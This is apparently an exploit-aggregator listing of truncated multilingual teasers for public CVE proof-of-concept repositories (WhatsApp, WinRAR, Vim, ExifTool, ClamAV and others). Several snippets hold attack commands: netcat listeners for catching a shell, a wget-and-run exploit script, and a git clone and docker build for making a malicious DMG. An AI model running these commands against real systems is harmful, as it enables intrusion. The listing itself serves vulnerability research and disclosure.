CVE-2019-11932

CVE-2019-11932 Bug di Double-Free nel PoC dell'exploit di WhatsApp. Nota: Assicurati di impostare l'IP di ascolto in exploit.c per ottenere una shell nc -lvp 1337 o qualsiasi porta. e poi compila. make oppure gcc -o exploit egiflib.c exploit.c poi esegui ./exploit e salva il contenuto in .gif e...

CVE-2026-20841

CVE-2026-20841 - Esecuzione Remota di Codice RCE in Blocco note di Windows Repository di Ricerca sulla Sicurezza e Analisi Tecnica ⚠️ Questo repository è inteso esclusivamente per scopi educativi, difensivi e di ricerca. 📖 Panoramica CVE-2026-20841 è una vulnerabilità critica di esecuzione remota...

CVE-2019-13288-POC

CVE-2019-13288-POC xpdf/install/bin/pdftotext ./poc.pdf In Xpdf 4.01.01, la funzione Parser::getObj in Parser.cc può causare ricorsione infinita tramite un file appositamente creato. Un attaccante remoto può sfruttare questa vulnerabilità per un attacco DoS. È simile a CVE-2018-16646...

The vulnerability of the Directum Web Agent component of the Directum RX system, which arises due to insufficient validation of input data, allows a perpetrator to execute arbitrary code.

The vulnerability of the Directum Web Agent component of the Directum RX system exists due to insufficient validation of input data. Exploiting this vulnerability could allow a malicious actor to execute arbitrary code using a specially crafted file...

CVE-2026-26832

CVE-2026-26832: Iniezione di comandi del sistema operativo in node-tesseract-ocr Riepilogo node-tesseract-ocr fino alla versione 2.2.1 consente l'iniezione di comandi del sistema operativo in recognize in src/index.js. Il pacchetto costruisce una stringa di comando shell e la esegue con...

CVE-2021-22204

CVE-2021-22204 - Exiftool Remote Code Execution Beschreibung Kürzlich entdeckte der Forscher wcbowling eine Sicherheitslücke im Exiftool-Tool, die es einem Angreifer ermöglicht, einen Remote code Execution-Angriff durchzuführen. Diese Sicherheitslücke wurde im Rahmen des Gitlab Bug-Bounty-Program...

CVE-2022-36752

Beschreibung für CVE-2022-36752 png2webp v1.0.4 weist nachweislich eine Out-of-Bounds-Schreiboperation über die Funktion w2p auf. Diese Schwachstelle ist über eine präparierte webp-Datei ausnutzbar, wenn das Format zurück in png konvertiert wird. Reproduktion Um die Schwachstelle zu reproduzieren...

CVE-2021-22204

Versione vulnerabile 7.44 12.23 Riproduzione root@kitploit: $ bash craftadjvuexploit.sh 'cal' $ ./exiftool delicate.jpg Screenshot Riferimento NVD-CVE-2021-22204...

winrar-cve-2023-38831-poc-gen

Generatore di Exploit CVE-2023-38831 Questo strumento è uno script Python che sfrutta una vulnerabilità nel formato di file RAR CVE-2023-38831 per eseguire un comando malevolo quando un utente apre un file esca. L'exploit funziona su versioni di WinRAR precedenti alla 6.23. Ad esempio 6.22, 6.21,...

CVE-2024-22532

CVE-2024-22532 Beschreibung XnSoft XnView Classic 2.51.5 und NConvert 7.163 sind anfällig für einen heap-basierten Pufferüberlauf mittels einer präparierten .xwd-Datei Anbieter XnSoft Betroffene Produkte XnView Classic 2.51.5 NConvert 7.163 Auswirkungen Denial of Service Remote Code Execution PoC...

ace-vim-neovim

ace-vim-neovim Vim/Neovim Arbitrary Code Execution via Modelines CVE-2019-12735 Usage 1. listen root@kitploit: nc -vlp 9999 2. ace root@kitploit: vim pocshell.txt And then, your localhost will get shell...

CVE-2019-12735-VIM-NEOVIM

CVE-2019-12735-VIM-NEOVIM USO: È necessario abilitare la funzione modeline. Per gli utenti normali, la funzione modeline è abilitata per impostazione predefinita, mentre per l'utente root è disabilitata. Usa echo &modeline per controllare lo stato: 1 significa abilitato, 0 significa disabilitato...

CVE-2023-20052

CVE-2023-20052 CVE-2023-20052, vulnerabilità di perdita di informazioni nel parser di file DMG di ClamAV Utilizzo Per creare un file DMG dannoso root@kitploit: git clone https://github.com/nokn0wthing/CVE-2023-20052.git cd CVE-2023-20052 sudo docker build -t cve-2023-20052 . sudo docker run -v...

CVE-2026-81334 darknet through 6.0 Out-of-Bounds Read and Write via Unchecked Layer Index in .cfg Parser

darknet subscripts its layer array with an index taken from a configuration file without checking it against the array's length. The array is allocated in src-lib/darknetnetwork.cpp as xcallocnet.n, sizeofDarknet::Layer, sized to exactly the number of layer sections the file declares. The shortcu...

CVE-2024-42845-Exploit

CVE-2024-42845: Esecuzione di Codice Remota RCE in Invesalius 3.1 Dettagli dell'Exploit Titolo dell'Exploit : Invesalius 3.1 - Esecuzione di Codice Remota RCE Scoperto da : Alessio Romano sfoffo, Riccardo Degli Esposti partywave Autore dell'Exploit : Alessio Romano sfoffo, Riccardo Degli Esposti...

CVE-2026-20841

L'accuratezza di questo metodo di attivazione del PoC non è stata verificata e va considerato solo a scopo informativo/di riferimento. CVE-2026-20841 - RCE in notepad.exe di Windows Condizione di sfruttamento: Testato su : Versione di Blocco note 11.2510.14.0 Passaggio 1 : Salvare il file Passagg...

CVE-2026-8461-PoC

CVE-2026-8461 PoC !WARNING Questo PoC è stato interamente generato da un'IA. Uso: root@kitploit: python exploitcve20268461.py --baseline --frames 25 -o baseline.avi Una versione non patchata di ffmpeg andrà in crash durante l'elaborazione di baseline.avi...

CVE-2025-6019

Verwendung sudo apt install xfsprogs sudo su wget https://raw.githubusercontent.com/boboaung1337/CVE-2025-6019/refs/heads/main/exploit.sh && chmod +x exploit.sh ./exploit.sh Modus auswählen: 1 Lokal: 300 MB XFS-Image erstellen erfordert root 2 Ziel: Zielsystem ausnutzen auf dem Opfer ausführen 3...

CVE-2025-61165

An arbitrary file upload vulnerability in the /v1/mydrive/batchupload component of cohere North AI v1.1.5 allows attackers to exeute arbitrary code via uploading a crafted file...

CVE-2026-79223

A flaw was found in Chromium. An integer overflow vulnerability allows a remote attacker to read sensitive memory within the sandbox. This can be exploited by tricking a user into opening a specially crafted file, potentially leading to the disclosure of confidential information...